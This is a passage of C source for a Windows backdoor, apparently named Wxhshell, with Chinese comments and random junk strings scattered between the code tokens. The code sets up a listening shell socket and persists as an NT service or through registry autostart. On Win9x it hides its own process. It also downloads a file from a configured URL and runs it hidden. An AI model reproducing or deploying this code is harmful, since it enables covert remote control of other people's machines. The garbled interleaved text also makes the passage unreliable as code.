cbNeeded; 6k3l/ ~R fAUsJ[ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '}YXpB K
:q-[\G CloseHandle(hProcess); u#UeJuO K((Kd&E if(strstr(procName,"services")) return 1; // 以服务启动 quUJ%F z=Vvb return 0; // 注册表启动 w./EJkKI } &%r#eB?7 22r01qH // 主模块 O}f(h5!k int StartWxhshell(LPSTR lpCmdLine) @Q1jH~t { A07P$3>/W SOCKET wsl; +@qk=]3a BOOL val=TRUE;
]D-48o0 int port=0; IFTW,9hh struct sockaddr_in door; YXg
uw7%\ M2EN(Y_k0 if(wscfg.ws_autoins) Install(); ?Ru`ma\; I2DmM"-| port=atoi(lpCmdLine); aQmL=9 d=KOV;~); if(port<=0) port=wscfg.ws_port; \j;uN#)28 cnPXvD^kY WSADATA data; (MIw$)#^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R39R$\ 5)oIPHXw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B:r-')!0$# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "=n8PNV/
c door.sin_family = AF_INET; =U2Te door.sin_addr.s_addr = inet_addr("127.0.0.1"); .}<B*e=y door.sin_port = htons(port); 9iy|= @
:4Kk
4g1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E\*",MGL closesocket(wsl); 9cmJD5OO return 1; +?:V\niQI } \
+xIH l>(G3lIw if(listen(wsl,2) == INVALID_SOCKET) { bv4cw#5z$9 closesocket(wsl); zB$6e!fc return 1; fBOPd= } ge oN4 Wxhshell(wsl); 6qJB"_. WSACleanup(); |YFD|
U44H/5/ return 0; +=k|(8Js# l.W:6",w } F`Y<(]+
5#o,]tP // 以NT服务方式启动 /_a *C.a6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L-R}O
8 { ] zY DWORD status = 0; WO9/rF_ DWORD specificError = 0xfffffff; Wu&Di8GhP M<srJ8|' serviceStatus.dwServiceType = SERVICE_WIN32; w1_Ux<RF serviceStatus.dwCurrentState = SERVICE_START_PENDING; K)@}Ok"#\4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WLl9>v^1 serviceStatus.dwWin32ExitCode = 0; pzr-}>xrZ serviceStatus.dwServiceSpecificExitCode = 0; !~l%6Z5 serviceStatus.dwCheckPoint = 0; zNf5OItx serviceStatus.dwWaitHint = 0; cj#q7 %$xFnGb hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 {Z\cwP)c if (hServiceStatusHandle==0) return; x+e
_pb :GYv9OG status = GetLastError(); s-V$N if (status!=NO_ERROR) ,AM-cwwT:u { lpUtNy serviceStatus.dwCurrentState = SERVICE_STOPPED; P.B'Gh#^ serviceStatus.dwCheckPoint = 0; %p60pn[( serviceStatus.dwWaitHint = 0; 1F,_L}=o1s serviceStatus.dwWin32ExitCode = status; y21uvp' serviceStatus.dwServiceSpecificExitCode = specificError; @GtZK SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLoVcl return; ] O>7x } A%2}?Ds uCfp+ serviceStatus.dwCurrentState = SERVICE_RUNNING; sK?-@ serviceStatus.dwCheckPoint = 0; j2M(W/_ serviceStatus.dwWaitHint = 0; rtx]dc1m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6w;|-/:` } #Vigu,zY hFfaaB // 处理NT服务事件,比如:启动、停止 !VZj!\I VOID WINAPI NTServiceHandler(DWORD fdwControl) >pvg0Fh { =3C)sz} switch(fdwControl) Zwns|23n { r![JPhei case SERVICE_CONTROL_STOP: n^02@Aw serviceStatus.dwWin32ExitCode = 0; Ds_
"m, serviceStatus.dwCurrentState = SERVICE_STOPPED; Z|%2495\ serviceStatus.dwCheckPoint = 0; Y`?X Fy: serviceStatus.dwWaitHint = 0; zpqNmxmF { # :w2Hf6Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); u/c3omY"# } mm-UQ\h return; <,4(3 >js case SERVICE_CONTROL_PAUSE: veg!mY2& serviceStatus.dwCurrentState = SERVICE_PAUSED; /$,=> break; Z<<gz[$+p case SERVICE_CONTROL_CONTINUE: f {Z%:H serviceStatus.dwCurrentState = SERVICE_RUNNING; by[i"!RCu break; i%4k5[f.: case SERVICE_CONTROL_INTERROGATE: -z$2pXT ^ break; HbfB[% }; y?#J`o-
O SetServiceStatus(hServiceStatusHandle, &serviceStatus); B!ibE<7, } g+)\/n| yKEFne8^ // 标准应用程序主函数 Z[S+L"0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hyfnIb@~} { PZRn6Tc 8{]Gh 0+ // 获取操作系统版本 O:tX0<6 OsIsNt=GetOsVer(); UH-uU~ GetModuleFileName(NULL,ExeFile,MAX_PATH); {FY[|:Cp t`ceVS // 从命令行安装 "ak9LZQ9z if(strpbrk(lpCmdLine,"iI")) Install(); 5qkuKF /JubiLEK // 下载执行文件 :;;WK~*# if(wscfg.ws_downexe) { 6oh@$.ThG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m<"fRT!Y WinExec(wscfg.ws_filenam,SW_HIDE); RLOQ>vYY } -Dxhq&
}Y I''R\Bp if(!OsIsNt) { A{x
7 // 如果时win9x,隐藏进程并且设置为注册表启动 2qMsa>~ HideProc(); ZWRRh^ StartWxhshell(lpCmdLine); bH&)rn } bTQa'y`3 else D *I;|.=u if(StartFromService()) 355Sd;* // 以服务方式启动 D>b5Uwt StartServiceCtrlDispatcher(DispatchTable); <-B"|u else 'Rd*X6dv // 普通方式启动 @@3,+7%1 StartWxhshell(lpCmdLine); w1@b5- s~X*U&}5 return 0; FEZ"\|I| }
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